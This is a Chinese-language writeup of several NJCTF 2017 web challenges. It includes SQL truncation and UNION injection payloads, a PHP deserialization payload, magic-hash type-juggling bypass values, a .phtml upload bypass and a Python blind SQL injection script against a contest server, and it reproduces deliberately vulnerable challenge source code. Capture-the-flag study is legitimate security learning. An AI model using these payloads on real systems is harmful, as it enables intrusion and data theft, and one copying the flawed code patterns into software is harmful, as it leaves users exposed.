NJCTF WEB Writeup
2017-03-18 22:55
681 查看
Login
首先创建id 登陆进去 发现要用admin登陆
首先用爆破想想不可能
其次利用注册重新注册admin
一开始想的是利用SQL注释等注册但发现不行
其次就想到长度限制&空格漏洞
'guest'= 'guest '
首先绕过重名检测 ,接着设置了长度限制之后用空格漏洞注册注册admin
Get Flag
随便输入试试1.jpga
发现是cat 命令
利用ls 及 cat 命令查找flag
Text wall
首先扫描目录找到源码 .index.php.swo发现可以读取文件,我们发现图片的存储是序列化存储
解开之后是一个数组
打印内容的时候是循环遍历打印
foreach ($a as $key => $value) { echo $key,$value; }
如果$a是一个类,上面的结构回将类中的变量循环打印出来
__tostring 的触发事件是echo 类,正符合此题
<?php Class filelist{ public $source = ''; } $z = new filelist(); $z->source = 'index.php'; $y = new filelist(); $y->source = $z; echo sha1(serialize($y)).serialize($y); ?>
打开文件夹就是flag
Wallet
这一题考了很多知识点讲一下做题思路
首先发现了源码index.php.bak
源码有加密,丢淘宝解密
得到源码
<?php require_once("db.php"); $auth = 0; if (isset($_COOKIE["auth"])) { $auth = $_COOKIE["auth"]; $hsh = $_COOKIE["hsh"]; if ($auth == $hsh) { $auth = 0; } else if (sha1((string)$hsh) == md5((string)$auth)) { // $auth = 1; // } else { $auth = 0; } } else { $auth = 0; $s = $auth; setcookie("auth", $s); setcookie("hsh", sha1((string)$s)); } if ($auth) { if (isset($_GET['query'])) { $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY); $qstr = SQLITE3::escapeString($_GET['query']); $query = "SELECT amount FROM my_wallets WHERE id=$qstr"; $result = $db->querySingle($query); if (!$result === NULL) { echo "Erro 4000 r - invalid query"; } else { echo "Wallet contains: $result"; // 输出flag } } else { echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body><ml>"; } } else echo "Sorry, not authorized."; ?>
首先要绕过
if (isset($_COOKIE["auth"])) { $auth = $_COOKIE["auth"]; $hsh = $_COOKIE["hsh"]; if ($auth == $hsh) { $auth = 0; } else if (sha1((string)$hsh) == md5((string)$auth)) { // $auth = 1; // } else { $auth = 0; } } else { $auth = 0; $s = $auth; setcookie("auth", $s); setcookie("hsh", sha1((string)$s)); }
利用php弱类型比较
$hsh = 'aaroZmOk' $auth = 'QNKCDZO'
登进admin
接下来就是简单的sqlite 注入
猜测为 id字段 flag表 当然也可以利用查表得到
1 union select group_concat(tbl_name) from sqlite_master limit 1,1-- 暴表 1 union select sql from sqlite_master where tbl_name="flag" and type="table" limit 1,1-- 爆字段 1 union select group_concat(id) from flag limit 1,1--暴内容
pictures‘ wall
一道上传题,上传类的题目做得也不少了,都是一个套路。看看这题
首先找到上传窗口,根据题目提示利用host:127.0.0.1登录成功找到上传界面
我们在上传时改包
上传成功,试了.php345 .inc .phtml .phpt .phps 最后.phtml可以解析,其他的都不行
print_r(scandir(“/opt/lampp/htdocs”)); echo exec('pwd');//查看当前文件路径 print_r(scandir('../../'))
Be admin
有时候看见密码的题目都不想做,太麻烦利用SQLmap跑了一遍跑出了用户名及密码加密过后的值
[1 entry] +---------+----------+-------------------------------------------------------------------+ | isadmin | username | encrypted_pass | +---------+----------+-------------------------------------------------------------------+ | 1 | admin | aVZ1c2VkQnk0ZG1pbiEhIV+W2coxQmZQWMLGaWZuItWr+E26IKb1OFh4Shf/fNSQ | +---------+----------+-------------------------------------------------------------------+
扫描目录得到源码
<?php error_reporting(0); define("SECRET_KEY", "......"); define("METHOD", "aes-128-cbc"); session_start(); function get_random_token(){ $random_token=''; for($i=0;$i<16;$i++){ $random_token.=chr(rand(1,255)); } return $random_token; } function get_identity() { global $defaultId; $j = $defaultId; $token = get_random_token(); $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token); $_SESSION['id'] = base64_encode($c); setcookie("ID", base64_encode($c)); setcookie("token", base64_encode($token)); if ($j === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false; } function test_identity() { if (!isset($_COOKIE["token"])) return array(); if (isset($_SESSION['id'])) { $c = base64_decode($_SESSION['id']); if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) { if ($u === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false; } else { die("ERROR!"); } } } function login($encrypted_pass, $pass) { $encrypted_pass = base64_decode($encrypted_pass); $iv = substr($encrypted_pass, 0, 16); $cipher = substr($encrypted_pass, 16); $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); return $password == $pass; } function need_login($message = NULL) { echo " <!doctype html> <html> <head> <meta charset=\"UTF-8\"> <title>Login</title> <link rel=\"stylesheet\" href=\"CSS/target.css\"> <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script> </head> <body>"; if (isset($message)) { echo " <div>" . $message . "</div>\n"; } echo "<form method=\"POST\" action=''> <div class=\"body\"></div> <div class=\"grad\"></div> <div class=\"header\"> <div>Log<span>In</span></div> </div> <br> <div class=\"login\"> <input type=\"text\" placeholder=\"username\" name=\"username\"> <input type=\"password\" placeholder=\"password\" name=\"password\"> <input type=\"submit\" value=\"Login\"> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> </form> </body> </html>"; } function show_homepage() { echo "<!doctype html> <html> <head><title>Login</title></head> <body>"; global $flag; printf("Hello ~~~ ctfer! "); if ($_SESSION["isadmin"]) echo $flag; echo "<div><a href=\"logout.php\">Log out</a></div> </body> </html>"; } if (isset($_POST['username']) && isset($_POST['password'])) { $username = (string)$_POST['username']; $password = (string)$_POST['password']; $query = "SELECT username, encrypted_pass from users WHERE username='$username'"; $res = $conn->query($query) or trigger_error($conn->error . "[$query]"); if ($row = $res->fetch_assoc()) { $uname = $row['username']; $encrypted_pass = $row["encrypted_pass"]; } if ($row && login($encrypted_pass, $password)) { echo "you are in!" . "</br>"; get_identity(); show_homepage(); } else { echo "<script>alert('login failed!');</script>"; need_login("Login Failed!"); } } else { test_identity(); if (isset($_SESSION["id"])) { show_homepage(); } else { need_login(); } }
源码到手 接下来就是代码审计 查找漏洞
Come On
这是道注入题,所以第一步找注入点1%df' || if(1=1,1,0)%23注意他过滤了
<> or and
数据表,字段是猜出来的
1%df' || exists(select(flag)from(flag))%23
等关键字,下面就基于内容长度的盲注
import requests string = '' for i in range(1,33): for mid in range(32,127): url = "http://218.2.197.235:23733/index.php?key=1%df' || if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(mid))) s=requests.get(url=url) content=s.content length=len(content) #print length if length > 1000 : string+=chr(mid) break print string
相关文章推荐
- NJCTF 2017 web Writeup
- 南邮CTF平台writeup:Web(一)
- TWCTF 2016 (Tokyo Westerns CTF ) WEB WriteUp
- bugkuCTF Writeup (Web)10-14
- bugkuCTF Writeup (Web)26-29
- volga-ctf-quals-2016 pwn web_of_scicen_250 writeup
- bugkuCTF Writeup (Web)36-40
- bugkuCTF Writeup (Web)31-35
- 0ctf 部分web writeup.md
- bugkuCTF Writeup (Web)22-25
- Nuit du Hack CTF Quals 2018 writeup (web)
- NJCTF writeup
- 南邮CTF-WEB-write-up 教程详细解说
- 29c3ctf web100 regexdb writeup
- ASIS CTF - 三个魔法Web关WriteUp
- NJCTF-easy_crypto writeup
- 33c3 CTF web WriteUp
- Bugku ctf writeup--web进阶-Bugku-cms1
- CTF-练习平台 writeup web
- bugkuCTF Writeup (Web)41-44